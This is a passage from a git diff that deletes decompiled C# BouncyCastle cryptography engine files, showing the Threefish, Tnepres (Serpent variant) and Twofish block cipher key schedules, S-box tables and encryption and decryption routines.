XorRotr(num14, 48, num7); - num7 -= num14; - num10 = XorRotr(num10, 41, num5); - num5 -= num10; - num2 = XorRotr(num2, 47, num15); - num15 -= num2; - num6 = XorRotr(num6, 28, num9); - num9 -= num6; - num4 = XorRotr(num4, 16, num11); - num11 -= num4; - num8 = XorRotr(num8, 25, num13); - num13 -= num8; - num8 = XorRotr(num8, 33, num); - num -= num8; - num6 = XorRotr(num6, 4, num3); - num3 -= num6; - num4 = XorRotr(num4, 51, num5); - num5 -= num4; - num2 = XorRotr(num2, 13, num7); - num7 -= num2; - num16 = XorRotr(num16, 34, num13); - num13 -= num16; - num14 = XorRotr(num14, 41, num15); - num15 -= num14; - num12 = XorRotr(num12, 59, num9); - num9 -= num12; - num10 = XorRotr(num10, 17, num11); - num11 -= num10; - num10 = XorRotr(num10, 38, num); - num -= num10; - num14 = XorRotr(num14, 19, num3); - num3 -= num14; - num12 = XorRotr(num12, 10, num7); - num7 -= num12; - num16 = XorRotr(num16, 55, num5); - num5 -= num16; - num8 = XorRotr(num8, 49, num11); - num11 -= num8; - num4 = XorRotr(num4, 18, num13); - num13 -= num4; - num6 = XorRotr(num6, 23, num15); - num15 -= num6; - num2 = XorRotr(num2, 52, num9); - num9 -= num2; - num2 = XorRotr(num2, 24, num); - num -= num2; - num4 = XorRotr(num4, 13, num3); - num3 -= num4; - num6 = XorRotr(num6, 8, num5); - num5 -= num6; - num8 = XorRotr(num8, 47, num7); - num7 -= num8; - num10 = XorRotr(num10, 8, num9); - num9 -= num10; - num12 = XorRotr(num12, 17, num11); - num11 -= num12; - num14 = XorRotr(num14, 22, num13); - num13 -= num14; - num16 = XorRotr(num16, 37, num15); - num15 -= num16; - } - num -= array[0]; - num2 -= array[1]; - num3 -= array[2]; - num4 -= array[3]; - num5 -= array[4]; - num6 -= array[5]; - num7 -= array[6]; - num8 -= array[7]; - num9 -= array[8]; - num10 -= array[9]; - num11 -= array[10]; - num12 -= array[11]; - num13 -= array[12]; - num14 -= array[13] + array2[0]; - num15 -= array[14] + array2[1]; - num16 -= array[15]; - state[0] = num; - state[1] = num2; - state[2] = num3; - state[3] = num4; - state[4] = num5; - state[5] = num6; - state[6] = num7; - state[7] = num8; - state[8] = num9; - state[9] = num10; - state[10] = num11; - state[11] = num12; - state[12] = num13; - state[13] = num14; - state[14] = num15; - state[15] = num16; - } - } - - public const int BLOCKSIZE_256 = 256; - - public const int BLOCKSIZE_512 = 512; - - public const int BLOCKSIZE_1024 = 1024; - - private const int TWEAK_SIZE_BYTES = 16; - - private const int TWEAK_SIZE_WORDS = 2; - - private const int ROUNDS_256 = 72; - - private const int ROUNDS_512 = 72; - - private const int ROUNDS_1024 = 80; - - private const int MAX_ROUNDS = 80; - - private const ulong C_240 = 2004413935125273122uL; - - private static readonly int[] MOD9; - - private static readonly int[] MOD17; - - private static readonly int[] MOD5; - - private static readonly int[] MOD3; - - private readonly int blocksizeBytes; - - private readonly int blocksizeWords; - - private readonly ulong[] currentBlock; - - private readonly ulong[] t = new ulong[5]; - - private readonly ulong[] kw; - - private readonly ThreefishCipher cipher; - - private bool forEncryption; - - public virtual string AlgorithmName => "Threefish-" + blocksizeBytes * 8; - - public virtual bool IsPartialBlockOkay => false; - - static ThreefishEngine() - { - MOD9 = new int[80]; - MOD17 = new int[MOD9.Length]; - MOD5 = new int[MOD9.Length]; - MOD3 = new int[MOD9.Length]; - for (int i = 0; i < MOD9.Length; i++) - { - MOD17[i] = i % 17; - MOD9[i] = i % 9; - MOD5[i] = i % 5; - MOD3[i] = i % 3; - } - } - - public ThreefishEngine(int blocksizeBits) - { - blocksizeBytes = blocksizeBits / 8; - blocksizeWords = blocksizeBytes / 8; - currentBlock = new ulong[blocksizeWords]; - kw = new ulong[2 * blocksizeWords + 1]; - switch (blocksizeBits) - { - case 256: - cipher = new Threefish256Cipher(kw, t); - break; - case 512: - cipher = new Threefish512Cipher(kw, t); - break; - case 1024: - cipher = new Threefish1024Cipher(kw, t); - break; - default: - throw new ArgumentException("Invalid blocksize - Threefish is defined with block size of 256, 512, or 1024 bits"); - } - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - byte[] key; - byte[] array; - if (parameters is TweakableBlockCipherParameters) - { - TweakableBlockCipherParameters tweakableBlockCipherParameters = (TweakableBlockCipherParameters)parameters; - key = tweakableBlockCipherParameters.Key.GetKey(); - array = tweakableBlockCipherParameters.Tweak; - } - else - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Invalid parameter passed to Threefish init - " + Platform.GetTypeName(parameters)); - } - key = ((KeyParameter)parameters).GetKey(); - array = null; - } - ulong[] array2 = null; - ulong[] tweak = null; - if (key != null) - { - if (key.Length != blocksizeBytes) - { - throw new ArgumentException("Threefish key must be same size as block (" + blocksizeBytes + " bytes)"); - } - array2 = new ulong[blocksizeWords]; - for (int i = 0; i < array2.Length; i++) - { - array2[i] = BytesToWord(key, i * 8); - } - } - if (array != null) - { - if (array.Length != 16) - { - throw new ArgumentException("Threefish tweak must be " + 16 + " bytes"); - } - tweak = new ulong[2] - { - BytesToWord(array, 0), - BytesToWord(array, 8) - }; - } - Init(forEncryption, array2, tweak); - } - - internal void Init(bool forEncryption, ulong[] key, ulong[] tweak) - { - this.forEncryption = forEncryption; - if (key != null) - { - SetKey(key); - } - if (tweak != null) - { - SetTweak(tweak); - } - } - - private void SetKey(ulong[] key) - { - if (key.Length != blocksizeWords) - { - throw new ArgumentException("Threefish key must be same size as block (" + blocksizeWords + " words)"); - } - ulong num = 2004413935125273122uL; - for (int i = 0; i < blocksizeWords; i++) - { - kw[i] = key[i]; - num ^= kw[i]; - } - kw[blocksizeWords] = num; - Array.Copy(kw, 0, kw, blocksizeWords + 1, blocksizeWords); - } - - private void SetTweak(ulong[] tweak) - { - if (tweak.Length != 2) - { - throw new ArgumentException("Tweak must be " + 2 + " words."); - } - t[0] = tweak[0]; - t[1] = tweak[1]; - t[2] = t[0] ^ t[1]; - t[3] = t[0]; - t[4] = t[1]; - } - - public virtual int GetBlockSize() - { - return blocksizeBytes; - } - - public virtual void Reset() - { - } - - public virtual int ProcessBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - if (outOff + blocksizeBytes > outBytes.Length) - { - throw new DataLengthException("Output buffer too short"); - } - if (inOff + blocksizeBytes > inBytes.Length) - { - throw new DataLengthException("Input buffer too short"); - } - for (int i = 0; i < blocksizeBytes; i += 8) - { - currentBlock[i >> 3] = BytesToWord(inBytes, inOff + i); - } - ProcessBlock(currentBlock, currentBlock); - for (int j = 0; j < blocksizeBytes; j += 8) - { - WordToBytes(currentBlock[j >> 3], outBytes, outOff + j); - } - return blocksizeBytes; - } - - internal int ProcessBlock(ulong[] inWords, ulong[] outWords) - { - if (kw[blocksizeWords] == 0) - { - throw new InvalidOperationException("Threefish engine not initialised"); - } - if (inWords.Length != blocksizeWords) - { - throw new DataLengthException("Input buffer too short"); - } - if (outWords.Length != blocksizeWords) - { - throw new DataLengthException("Output buffer too short"); - } - if (forEncryption) - { - cipher.EncryptBlock(inWords, outWords); - } - else - { - cipher.DecryptBlock(inWords, outWords); - } - return blocksizeWords; - } - - internal static ulong BytesToWord(byte[] bytes, int off) - { - if (off + 8 > bytes.Length) - { - throw new ArgumentException(); - } - ulong num = 0uL; - int num2 = off; - num = (ulong)bytes[num2++] & 0xFFuL; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 8; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 16; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 24; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 32; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 40; - num |= ((ulong)bytes[num2++] & 0xFFuL) << 48; - return num | (((ulong)bytes[num2++] & 0xFFuL) << 56); - } - - internal static void WordToBytes(ulong word, byte[] bytes, int off) - { - if (off + 8 > bytes.Length) - { - throw new ArgumentException(); - } - int num = off; - bytes[num++] = (byte)word; - bytes[num++] = (byte)(word >> 8); - bytes[num++] = (byte)(word >> 16); - bytes[num++] = (byte)(word >> 24); - bytes[num++] = (byte)(word >> 32); - bytes[num++] = (byte)(word >> 40); - bytes[num++] = (byte)(word >> 48); - bytes[num++] = (byte)(word >> 56); - } - - private static ulong RotlXor(ulong x, int n, ulong xor) - { - return ((x << n) | (x >> 64 - n)) ^ xor; - } - - private static ulong XorRotr(ulong x, int n, ulong xor) - { - ulong num = x ^ xor; - return (num >> n) | (num << 64 - n); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TnepresEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TnepresEngine.cs deleted file mode 100644 index b9789af..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TnepresEngine.cs +++ /dev/null @@ -1,480 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public sealed class TnepresEngine : SerpentEngineBase -{ - public override string AlgorithmName => "Tnepres"; - - protected override int[] MakeWorkingKey(byte[] key) - { - int[] array = new int[16]; - int num = 0; - int num2 = 0; - for (num = key.Length - 4; num > 0; num -= 4) - { - array[num2++] = (int)Pack.BE_To_UInt32(key, num); - } - if (num == 0) - { - array[num2++] = (int)Pack.BE_To_UInt32(key, 0); - if (num2 < 8) - { - array[num2] = 1; - } - int num3 = 132; - int[] array2 = new int[num3]; - for (int i = 8; i < 16; i++) - { - array[i] = SerpentEngineBase.RotateLeft(array[i - 8] ^ array[i - 5] ^ array[i - 3] ^ array[i - 1] ^ -1640531527 ^ (i - 8), 11); - } - Array.Copy(array, 8, array2, 0, 8); - for (int j = 8; j < num3; j++) - { - array2[j] = SerpentEngineBase.RotateLeft(array2[j - 8] ^ array2[j - 5] ^ array2[j - 3] ^ array2[j - 1] ^ -1640531527 ^ j, 11); - } - Sb3(array2[0], array2[1], array2[2], array2[3]); - array2[0] = X0; - array2[1] = X1; - array2[2] = X2; - array2[3] = X3; - Sb2(array2[4], array2[5], array2[6], array2[7]); - array2[4] = X0; - array2[5] = X1; - array2[6] = X2; - array2[7] = X3; - Sb1(array2[8], array2[9], array2[10], array2[11]); - array2[8] = X0; - array2[9] = X1; - array2[10] = X2; - array2[11] = X3; - Sb0(array2[12], array2[13], array2[14], array2[15]); - array2[12] = X0; - array2[13] = X1; - array2[14] = X2; - array2[15] = X3; - Sb7(array2[16], array2[17], array2[18], array2[19]); - array2[16] = X0; - array2[17] = X1; - array2[18] = X2; - array2[19] = X3; - Sb6(array2[20], array2[21], array2[22], array2[23]); - array2[20] = X0; - array2[21] = X1; - array2[22] = X2; - array2[23] = X3; - Sb5(array2[24], array2[25], array2[26], array2[27]); - array2[24] = X0; - array2[25] = X1; - array2[26] = X2; - array2[27] = X3; - Sb4(array2[28], array2[29], array2[30], array2[31]); - array2[28] = X0; - array2[29] = X1; - array2[30] = X2; - array2[31] = X3; - Sb3(array2[32], array2[33], array2[34], array2[35]); - array2[32] = X0; - array2[33] = X1; - array2[34] = X2; - array2[35] = X3; - Sb2(array2[36], array2[37], array2[38], array2[39]); - array2[36] = X0; - array2[37] = X1; - array2[38] = X2; - array2[39] = X3; - Sb1(array2[40], array2[41], array2[42], array2[43]); - array2[40] = X0; - array2[41] = X1; - array2[42] = X2; - array2[43] = X3; - Sb0(array2[44], array2[45], array2[46], array2[47]); - array2[44] = X0; - array2[45] = X1; - array2[46] = X2; - array2[47] = X3; - Sb7(array2[48], array2[49], array2[50], array2[51]); - array2[48] = X0; - array2[49] = X1; - array2[50] = X2; - array2[51] = X3; - Sb6(array2[52], array2[53], array2[54], array2[55]); - array2[52] = X0; - array2[53] = X1; - array2[54] = X2; - array2[55] = X3; - Sb5(array2[56], array2[57], array2[58], array2[59]); - array2[56] = X0; - array2[57] = X1; - array2[58] = X2; - array2[59] = X3; - Sb4(array2[60], array2[61], array2[62], array2[63]); - array2[60] = X0; - array2[61] = X1; - array2[62] = X2; - array2[63] = X3; - Sb3(array2[64], array2[65], array2[66], array2[67]); - array2[64] = X0; - array2[65] = X1; - array2[66] = X2; - array2[67] = X3; - Sb2(array2[68], array2[69], array2[70], array2[71]); - array2[68] = X0; - array2[69] = X1; - array2[70] = X2; - array2[71] = X3; - Sb1(array2[72], array2[73], array2[74], array2[75]); - array2[72] = X0; - array2[73] = X1; - array2[74] = X2; - array2[75] = X3; - Sb0(array2[76], array2[77], array2[78], array2[79]); - array2[76] = X0; - array2[77] = X1; - array2[78] = X2; - array2[79] = X3; - Sb7(array2[80], array2[81], array2[82], array2[83]); - array2[80] = X0; - array2[81] = X1; - array2[82] = X2; - array2[83] = X3; - Sb6(array2[84], array2[85], array2[86], array2[87]); - array2[84] = X0; - array2[85] = X1; - array2[86] = X2; - array2[87] = X3; - Sb5(array2[88], array2[89], array2[90], array2[91]); - array2[88] = X0; - array2[89] = X1; - array2[90] = X2; - array2[91] = X3; - Sb4(array2[92], array2[93], array2[94], array2[95]); - array2[92] = X0; - array2[93] = X1; - array2[94] = X2; - array2[95] = X3; - Sb3(array2[96], array2[97], array2[98], array2[99]); - array2[96] = X0; - array2[97] = X1; - array2[98] = X2; - array2[99] = X3; - Sb2(array2[100], array2[101], array2[102], array2[103]); - array2[100] = X0; - array2[101] = X1; - array2[102] = X2; - array2[103] = X3; - Sb1(array2[104], array2[105], array2[106], array2[107]); - array2[104] = X0; - array2[105] = X1; - array2[106] = X2; - array2[107] = X3; - Sb0(array2[108], array2[109], array2[110], array2[111]); - array2[108] = X0; - array2[109] = X1; - array2[110] = X2; - array2[111] = X3; - Sb7(array2[112], array2[113], array2[114], array2[115]); - array2[112] = X0; - array2[113] = X1; - array2[114] = X2; - array2[115] = X3; - Sb6(array2[116], array2[117], array2[118], array2[119]); - array2[116] = X0; - array2[117] = X1; - array2[118] = X2; - array2[119] = X3; - Sb5(array2[120], array2[121], array2[122], array2[123]); - array2[120] = X0; - array2[121] = X1; - array2[122] = X2; - array2[123] = X3; - Sb4(array2[124], array2[125], array2[126], array2[127]); - array2[124] = X0; - array2[125] = X1; - array2[126] = X2; - array2[127] = X3; - Sb3(array2[128], array2[129], array2[130], array2[131]); - array2[128] = X0; - array2[129] = X1; - array2[130] = X2; - array2[131] = X3; - return array2; - } - throw new ArgumentException("key must be a multiple of 4 bytes"); - } - - protected override void EncryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - X3 = (int)Pack.BE_To_UInt32(input, inOff); - X2 = (int)Pack.BE_To_UInt32(input, inOff + 4); - X1 = (int)Pack.BE_To_UInt32(input, inOff + 8); - X0 = (int)Pack.BE_To_UInt32(input, inOff + 12); - Sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3); - LT(); - Sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3); - LT(); - Sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3); - LT(); - Sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3); - LT(); - Sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3); - LT(); - Sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3); - LT(); - Sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3); - LT(); - Sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3); - LT(); - Sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3); - LT(); - Sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3); - LT(); - Sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3); - LT(); - Sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3); - LT(); - Sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3); - LT(); - Sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3); - LT(); - Sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3); - LT(); - Sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3); - LT(); - Sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3); - LT(); - Sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3); - LT(); - Sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3); - LT(); - Sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3); - LT(); - Sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3); - LT(); - Sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3); - LT(); - Sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3); - LT(); - Sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3); - LT(); - Sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3); - LT(); - Sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3); - LT(); - Sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3); - LT(); - Sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3); - LT(); - Sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3); - LT(); - Sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3); - LT(); - Sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3); - LT(); - Sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3); - Pack.UInt32_To_BE((uint)(wKey[131] ^ X3), output, outOff); - Pack.UInt32_To_BE((uint)(wKey[130] ^ X2), output, outOff + 4); - Pack.UInt32_To_BE((uint)(wKey[129] ^ X1), output, outOff + 8); - Pack.UInt32_To_BE((uint)(wKey[128] ^ X0), output, outOff + 12); - } - - protected override void DecryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - X3 = wKey[131] ^ (int)Pack.BE_To_UInt32(input, inOff); - X2 = wKey[130] ^ (int)Pack.BE_To_UInt32(input, inOff + 4); - X1 = wKey[129] ^ (int)Pack.BE_To_UInt32(input, inOff + 8); - X0 = wKey[128] ^ (int)Pack.BE_To_UInt32(input, inOff + 12); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[124]; - X1 ^= wKey[125]; - X2 ^= wKey[126]; - X3 ^= wKey[127]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[120]; - X1 ^= wKey[121]; - X2 ^= wKey[122]; - X3 ^= wKey[123]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[116]; - X1 ^= wKey[117]; - X2 ^= wKey[118]; - X3 ^= wKey[119]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[112]; - X1 ^= wKey[113]; - X2 ^= wKey[114]; - X3 ^= wKey[115]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[108]; - X1 ^= wKey[109]; - X2 ^= wKey[110]; - X3 ^= wKey[111]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[104]; - X1 ^= wKey[105]; - X2 ^= wKey[106]; - X3 ^= wKey[107]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[100]; - X1 ^= wKey[101]; - X2 ^= wKey[102]; - X3 ^= wKey[103]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[96]; - X1 ^= wKey[97]; - X2 ^= wKey[98]; - X3 ^= wKey[99]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[92]; - X1 ^= wKey[93]; - X2 ^= wKey[94]; - X3 ^= wKey[95]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[88]; - X1 ^= wKey[89]; - X2 ^= wKey[90]; - X3 ^= wKey[91]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[84]; - X1 ^= wKey[85]; - X2 ^= wKey[86]; - X3 ^= wKey[87]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[80]; - X1 ^= wKey[81]; - X2 ^= wKey[82]; - X3 ^= wKey[83]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[76]; - X1 ^= wKey[77]; - X2 ^= wKey[78]; - X3 ^= wKey[79]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[72]; - X1 ^= wKey[73]; - X2 ^= wKey[74]; - X3 ^= wKey[75]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[68]; - X1 ^= wKey[69]; - X2 ^= wKey[70]; - X3 ^= wKey[71]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[64]; - X1 ^= wKey[65]; - X2 ^= wKey[66]; - X3 ^= wKey[67]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[60]; - X1 ^= wKey[61]; - X2 ^= wKey[62]; - X3 ^= wKey[63]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[56]; - X1 ^= wKey[57]; - X2 ^= wKey[58]; - X3 ^= wKey[59]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[52]; - X1 ^= wKey[53]; - X2 ^= wKey[54]; - X3 ^= wKey[55]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[48]; - X1 ^= wKey[49]; - X2 ^= wKey[50]; - X3 ^= wKey[51]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[44]; - X1 ^= wKey[45]; - X2 ^= wKey[46]; - X3 ^= wKey[47]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[40]; - X1 ^= wKey[41]; - X2 ^= wKey[42]; - X3 ^= wKey[43]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[36]; - X1 ^= wKey[37]; - X2 ^= wKey[38]; - X3 ^= wKey[39]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[32]; - X1 ^= wKey[33]; - X2 ^= wKey[34]; - X3 ^= wKey[35]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[28]; - X1 ^= wKey[29]; - X2 ^= wKey[30]; - X3 ^= wKey[31]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[24]; - X1 ^= wKey[25]; - X2 ^= wKey[26]; - X3 ^= wKey[27]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[20]; - X1 ^= wKey[21]; - X2 ^= wKey[22]; - X3 ^= wKey[23]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[16]; - X1 ^= wKey[17]; - X2 ^= wKey[18]; - X3 ^= wKey[19]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[12]; - X1 ^= wKey[13]; - X2 ^= wKey[14]; - X3 ^= wKey[15]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[8]; - X1 ^= wKey[9]; - X2 ^= wKey[10]; - X3 ^= wKey[11]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[4]; - X1 ^= wKey[5]; - X2 ^= wKey[6]; - X3 ^= wKey[7]; - InverseLT(); - Ib0(X0, X1, X2, X3); - Pack.UInt32_To_BE((uint)(X3 ^ wKey[3]), output, outOff); - Pack.UInt32_To_BE((uint)(X2 ^ wKey[2]), output, outOff + 4); - Pack.UInt32_To_BE((uint)(X1 ^ wKey[1]), output, outOff + 8); - Pack.UInt32_To_BE((uint)(X0 ^ wKey[0]), output, outOff + 12); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TwofishEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TwofishEngine.cs deleted file mode 100644 index da1b6f4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TwofishEngine.cs +++ /dev/null @@ -1,474 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public sealed class TwofishEngine : IBlockCipher -{ - private const int P_00 = 1; - - private const int P_01 = 0; - - private const int P_02 = 0; - - private const int P_03 = 1; - - private const int P_04 = 1; - - private const int P_10 = 0; - - private const int P_11 = 0; - - private const int P_12 = 1; - - private const int P_13 = 1; - - private const int P_14 = 0; - - private const int P_20 = 1; - - private const int P_21 = 1; - - private const int P_22 = 0; - - private const int P_23 = 0; - - private const int P_24 = 0; - - private const int P_30 = 0; - - private const int P_31 = 1; - - private const int P_32 = 1; - - private const int P_33 = 0; - - private const int P_34 = 1; - - private const int GF256_FDBK = 361; - - private const int GF256_FDBK_2 = 180; - - private const int GF256_FDBK_4 = 90; - - private const int RS_GF_FDBK = 333; - - private const int ROUNDS = 16; - - private const int MAX_ROUNDS = 16; - - private const int BLOCK_SIZE = 16; - - private const int MAX_KEY_BITS = 256; - - private const int INPUT_WHITEN = 0; - - private const int OUTPUT_WHITEN = 4; - - private const int ROUND_SUBKEYS = 8; - - private const int TOTAL_SUBKEYS = 40; - - private const int SK_STEP = 33686018; - - private const int SK_BUMP = 16843009; - - private const int SK_ROTL = 9; - - private static readonly byte[,] P = new byte[2, 256] - { - { - 169, 103, 179, 232, 4, 253, 163, 118, 154, 146, - 128, 120, 228, 221, 209, 56, 13, 198, 53, 152, - 24, 247, 236, 108, 67, 117, 55, 38, 250, 19, - 148, 72, 242, 208, 139, 48, 132, 84, 223, 35, - 25, 91, 61, 89, 243, 174, 162, 130, 99, 1, - 131, 46, 217, 81, 155, 124, 166, 235, 165, 190, - 22, 12, 227, 97, 192, 140, 58, 245, 115, 44, - 37, 11, 187, 78, 137, 107, 83, 106, 180, 241, - 225, 230, 189, 69, 226, 244, 182, 102, 204, 149, - 3, 86, 212, 28, 30, 215, 251, 195, 142, 181, - 233, 207, 191, 186, 234, 119, 57, 175, 51, 201, - 98, 113, 129, 121, 9, 173, 36, 205, 249, 216, - 229, 197, 185, 77, 68, 8, 134, 231, 161, 29, - 170, 237, 6, 112, 178, 210, 65, 123, 160, 17, - 49, 194, 39, 144, 32, 246, 96, 255, 150, 92, - 177, 171, 158, 156, 82, 27, 95, 147, 10, 239, - 145, 133, 73, 238, 45, 79, 143, 59, 71, 135, - 109, 70, 214, 62, 105, 100, 42, 206, 203, 47, - 252, 151, 5, 122, 172, 127, 213, 26, 75, 14, - 167, 90, 40, 20, 63, 41, 136, 60, 76, 2, - 184, 218, 176, 23, 85, 31, 138, 125, 87, 199, - 141, 116, 183, 196, 159, 114, 126, 21, 34, 18, - 88, 7, 153, 52, 110, 80, 222, 104, 101, 188, - 219, 248, 200, 168, 43, 64, 220, 254, 50, 164, - 202, 16, 33, 240, 211, 93, 15, 0, 111, 157, - 54, 66, 74, 94, 193, 224 - }, - { - 117, 243, 198, 244, 219, 123, 251, 200, 74, 211, - 230, 107, 69, 125, 232, 75, 214, 50, 216, 253, - 55, 113, 241, 225, 48, 15, 248, 27, 135, 250, - 6, 63, 94, 186, 174, 91, 138, 0, 188, 157, - 109, 193, 177, 14, 128, 93, 210, 213, 160, 132, - 7, 20, 181, 144, 44, 163, 178, 115, 76, 84, - 146, 116, 54, 81, 56, 176, 189, 90, 252, 96, - 98, 150, 108, 66, 247, 16, 124, 40, 39, 140, - 19, 149, 156, 199, 36, 70, 59, 112, 202, 227, - 133, 203, 17, 208, 147, 184, 166, 131, 32, 255, - 159, 119, 195, 204, 3, 111, 8, 191, 64, 231, - 43, 226, 121, 12, 170, 130, 65, 58, 234, 185, - 228, 154, 164, 151, 126, 218, 122, 23, 102, 148, - 161, 29, 61, 240, 222, 179, 11, 114, 167, 28, - 239, 209, 83, 62, 143, 51, 38, 95, 236, 118, - 42, 73, 129, 136, 238, 33, 196, 26, 235, 217, - 197, 57, 153, 205, 173, 49, 139, 1, 24, 35, - 221, 31, 78, 45, 249, 72, 79, 242, 101, 142, - 120, 92, 88, 25, 141, 229, 152, 87, 103, 127, - 5, 100, 175, 99, 182, 254, 245, 183, 60, 165, - 206, 233, 104, 68, 224, 77, 67, 105, 41, 46, - 172, 21, 89, 168, 10, 158, 110, 71, 223, 52, - 53, 106, 207, 220, 34, 201, 192, 155, 137, 212, - 237, 171, 18, 162, 13, 82, 187, 2, 47, 169, - 215, 97, 30, 180, 80, 4, 246, 194, 22, 37, - 134, 86, 85, 9, 190, 145 - } - }; - - private bool encrypting; - - private int[] gMDS0 = new int[256]; - - private int[] gMDS1 = new int[256]; - - private int[] gMDS2 = new int[256]; - - private int[] gMDS3 = new int[256]; - - private int[] gSubKeys; - - private int[] gSBox; - - private int k64Cnt; - - private byte[] workingKey; - - public string AlgorithmName => 